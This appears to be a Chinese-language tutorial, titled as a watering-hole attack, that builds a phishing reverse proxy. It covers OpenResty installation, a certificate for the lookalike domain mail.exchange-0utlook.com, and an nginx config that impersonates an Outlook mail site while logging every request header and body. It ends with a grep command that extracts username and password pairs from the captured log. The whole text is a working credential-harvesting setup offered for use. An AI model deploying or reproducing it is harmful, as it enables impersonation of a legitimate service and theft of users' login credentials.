基于Nginx反向代理水坑攻击

apt-get update -y apt-get install -y libpcre3-dev libssl-dev perl make build-essential curl zlib1g-dev

apt install certbot python3-certbot-nginxapt install certbot python-certbot-nginx

certbot --nginx -d mail.sfitshfe.com

certbot certificates  # 可以查看证书的状态certbot renow  # 证书到期30天前可以自动更新certbot revoke # 撤销证书certbot delete # 撤销后删除证

root@10-7-16-132:/home/ubuntu# certbot certificatesSaving debug log to /var/log/letsencrypt/letsencrypt.log
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -Found the following certs:  Certificate Name: mail.exchange-0utlook.com    Domains: mail.exchange-0utlook.com    Expiry Date: 2022-09-08 03:09:57+00:00 (VALID: 86 days)    Certificate Path: /etc/letsencrypt/live/mail.exchange-0utlook.com/fullchain.pem    Private Key Path: /etc/letsencrypt/live/mail.exchange-0utlook.com/privkey.pem- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

#!/bin/bashset -erm -rf openresty-1.19.3.2 openresty-1.19.3.2.tar.gz
apt-get update -yapt-get install -y libpcre3-dev   libssl-dev   perl   make   build-essential   curl   zlib1g-dev
curl -LO https://openresty.org/download/openresty-1.19.3.2.tar.gztar zxf openresty-1.19.3.2.tar.gzcd openresty-1.19.3.2
./configure   --with-http_gzip_static_module   --with-http_v2_module   --with-http_stub_status_module
makemake install
mkdir -p /usr/lib/systemd/systemcat > /tmp/openresty.service <<EOF# Stop dance for OpenResty# =========================## ExecStop sends SIGSTOP (graceful stop) to OpenResty's nginx process.# If, after 5s (--retry QUIT/5) nginx is still running, systemd takes control# and sends SIGTERM (fast shutdown) to the main process.# After another 5s (TimeoutStopSec=5), and if nginx is alive, systemd sends# SIGKILL to all the remaining processes in the process group (KillMode=mixed).## nginx signals reference doc:# http://nginx.org/en/docs/control.html#[Unit]Description=The OpenResty Application PlatformAfter=syslog.target network-online.target remote-fs.target nss-lookup.targetWants=network-online.target[Service]Type=forkingPIDFile=/usr/local/openresty/nginx/logs/nginx.pidExecStartPre=/usr/local/openresty/nginx/sbin/nginx -t -q -g 'daemon on; master_process on;'ExecStart=/usr/local/openresty/nginx/sbin/nginx -g 'daemon on; master_process on;'ExecReload=/usr/local/openresty/nginx/sbin/nginx -g 'daemon on; master_process on;' -s reloadExecStop=-/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /usr/local/openresty/nginx/logs/nginx.pidTimeoutStopSec=5KillMode=mixed[Install]WantedBy=multi-user.targetEOF
# systemctl enable openresty# systemctl start openresty# systemctl status openresty
rm -rf openresty-1.19.3.2 openresty-1.19.3.2.tar.gz```

worker_processes  1;#error_log  logs/error.log;#error_log  logs/error.log  notice;#error_log  logs/error.log  info;#pid        logs/nginx.pid;
events {    worker_connections  1024;}
http {    include       mime.types;    default_type  application/octet-stream;    log_format  logeverything  '======n$current_time - $remote_addrn$request_headersnn$request_bodyn=======n';    keepalive_timeout  65;  server {    set $request_headers "";        set $current_time "";    root /var/www/html;    # Add index.php to the list if you are using PHP    index index.html index.htm index.nginx-debian.html;    server_name mail.exchange-0utlook.com; # managed by Certbot    listen [::]:443 ssl ipv6only=on; # managed by Certbot    listen 443 ssl; # managed by Certbot    ssl_certificate /etc/letsencrypt/live/mail.exchange-0utlook.com/fullchain.pem; # managed by Certbot    ssl_certificate_key /etc/letsencrypt/live/mail.exchange-0utlook.com/privkey.pem; # managed by Certbot    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot    location / {      proxy_pass https://mail.exchange-outlook.com/;      proxy_set_header       Host $host;      proxy_cookie_domain  mail.exchange-outlook.com $host;  # 此处被仿冒站点      proxy_set_header referer "https://mail.exchange-outlook.com$request_uri"; # 此处被仿冒站点      proxy_set_header User-Agent $http_user_agent;        proxy_set_header X-Real-IP $remote_addr;      proxy_set_header REMOTE-HOST $remote_addr;      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;      proxy_connect_timeout 300;      proxy_buffering off;      proxy_send_timeout 300;    }      access_log  logs/cool.log  logeverything;   # http 数据结果文件  }
}

/usr/local/openresty/nginx/sbin/nginx -c /etc/openresty/nginx.conf

nginx启动：/usr/local/openresty/nginx/sbin/nginx。nginx关闭：/usr/local/openresty/nginx/sbin/nginx -s stop。nginx重新加载配置：/usr/local/openresty/nginx/sbin/nginx -s reload。

cat /usr/local/openresty/nginx/logs/cool.log | grep -oE 'username=(.*?)&password=(.*?)'